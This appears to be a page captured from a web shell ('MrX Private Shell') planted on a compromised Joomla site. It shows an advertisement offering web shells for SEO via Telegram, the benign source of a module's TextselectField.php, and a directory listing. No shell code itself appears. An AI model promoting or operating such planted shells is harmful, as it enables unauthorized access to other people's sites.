__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @copyright Copyright (C) 2011 Simplify Your Web, Inc. All rights reserved.
* @license GNU General Public License version 3 or later; see LICENSE.txt
*/
namespace SYW\Module\LatestNewsEnhanced\Site\Field;
defined( '_JEXEC' ) or die;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Form\Field\GroupedlistField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
class TextselectField extends GroupedlistField
{
public $type = 'Textselect';
static $core_fields = null;
static function getCoreFields($allowed_types = array())
{
if (!isset(self::$core_fields)) {
$fields = FieldsHelper::getFields('com_content.article');
self::$core_fields = array();
if (!empty($fields)) {
foreach ($fields as $field) {
if (!empty($allowed_types) && !in_array($field->type, $allowed_types)) {
continue;
}
self::$core_fields[] = $field;
}
}
}
return self::$core_fields;
}
protected function getGroups()
{
$groups = array();
// get Joomla! fields
// test the fields folder first to avoid message warning that the component is missing
if (Folder::exists(JPATH_ADMINISTRATOR . '/components/com_fields') && ComponentHelper::isEnabled('com_fields') && ComponentHelper::getParams('com_content')->get('custom_fields_enable', '1')) {
// get the custom fields
$fields = self::getCoreFields(array('textarea', 'editor'));
// organize the fields according to their group
$fieldsPerGroup = array(
0 => array()
);
$groupTitles = array(
0 => Text::_('MOD_LATESTNEWSENHANCEDEXTENDED_VALUE_NOGROUPFIELD')
);
$fields_exist = false;
foreach ($fields as $field) {
if (!array_key_exists($field->group_id, $fieldsPerGroup)) {
$fieldsPerGroup[$field->group_id] = array();
$groupTitles[$field->group_id] = $field->group_title;
}
$fieldsPerGroup[$field->group_id][] = $field;
$fields_exist = true;
}
// loop trough the groups
if ($fields_exist) {
$group_name = Text::_('MOD_LATESTNEWSENHANCEDEXTENDED_VALUE_JOOMLAFIELDS');
$groups[$group_name] = array();
// $options[] = HTMLHelper::_('select.optgroup', Text::_('MOD_LATESTNEWSENHANCEDEXTENDED_VALUE_JOOMLAFIELDS'));
foreach ($fieldsPerGroup as $group_id => $groupFields) {
if (!$groupFields) {
continue;
}
foreach ($groupFields as $field) {
$groups[$group_name][] = HTMLHelper::_('select.option', 'jfield:'.$field->type.':'.$field->id, $groupTitles[$group_id].': '.$field->title . ' (Pro)', 'value', 'text', $disable = true);
}
}
// $options[] = HTMLHelper::_('select.optgroup', Text::_('MOD_LATESTNEWSENHANCEDEXTENDED_VALUE_JOOMLAFIELDS'));
}
}
// Merge any additional options in the XML definition.
$groups = array_merge(parent::getGroups(), $groups);
return $groups;
}
}
?>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AnimationselectField.php | File | 2.76 KB | 0664 |
|
| AuthoraliasselectField.php | File | 1.54 KB | 0664 |
|
| AuthorselectField.php | File | 1.66 KB | 0664 |
|
| CalendarselectField.php | File | 2.44 KB | 0664 |
|
| CheckboxesfreeField.php | File | 643 B | 0664 |
|
| ColorthemeselectField.php | File | 2.05 KB | 0664 |
|
| DatasourceselectField.php | File | 1.07 KB | 0664 |
|
| DateselectField.php | File | 2.64 KB | 0664 |
|
| DetailselectField.php | File | 7.29 KB | 0664 |
|
| HeadselectField.php | File | 7.85 KB | 0664 |
|
| LinkselectField.php | File | 3.11 KB | 0664 |
|
| ListfreeField.php | File | 558 B | 0664 |
|
| RelatedselectField.php | File | 1.45 KB | 0664 |
|
| StyleselectField.php | File | 2.42 KB | 0664 |
|
| TextselectField.php | File | 2.88 KB | 0664 |
|
| TitleselectField.php | File | 2.86 KB | 0664 |
|